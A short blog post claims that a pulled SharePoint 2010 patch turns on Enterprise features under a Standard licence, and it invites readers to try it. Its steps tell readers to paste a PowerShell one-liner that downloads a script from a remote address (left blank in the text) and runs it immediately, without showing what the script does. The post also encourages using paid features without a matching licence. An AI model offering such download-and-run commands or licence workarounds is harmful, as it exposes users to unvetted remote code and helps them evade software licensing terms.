Run SharePoint 2010 Enterprise Features with a Standard licence (Microsoft Supported)

I have just read a report that indicates Microsoft accidentally released a patch for 2010 which included a DLL that neglected to check for whether or not the current installation being upgraded was Enterprise or Standard, and dropped an Enterprise-version DLL into the GAC. This meant that the enterprise features were enabled and accessible through the UI, even though the licence key was a Standard licence key (no wonder they pulled it so fast). This was the patch that was pulled and re-released: 2598321 and this is what Joel Oleson said about it:

Although Microsoft indicated that they support people who deployed the original build, they do encourage everyone to redeploy the more recent build (obviously!!).

If you are interested in trying this out and seeing it in action (perhaps on a Dev server first, eh!), follow these steps:

  • Download the patch and put it into the root of C drive
  • Open up a Powershell console (you don’t need the SharePoint one, any powershell window will do)
  • Copy and paste this into the Powershell window, then press enter:
    iex (New-Object Net.WebClient).DownloadString(“”)

Let me know how you go in the comments!


About Brad Saide

I'm a SharePoint consultant. I'm also slowly going bald, seem to have a permanent spare tyre around my waist and enjoy socialising with friends over a beer or 10. The last 2 may possibly be related. Started working with SharePoint when the first version was in limited beta release (participated in the Technology Adoption Program while at Woolworths) and have been committed to the adoption of the technology as a business enabler ever since.
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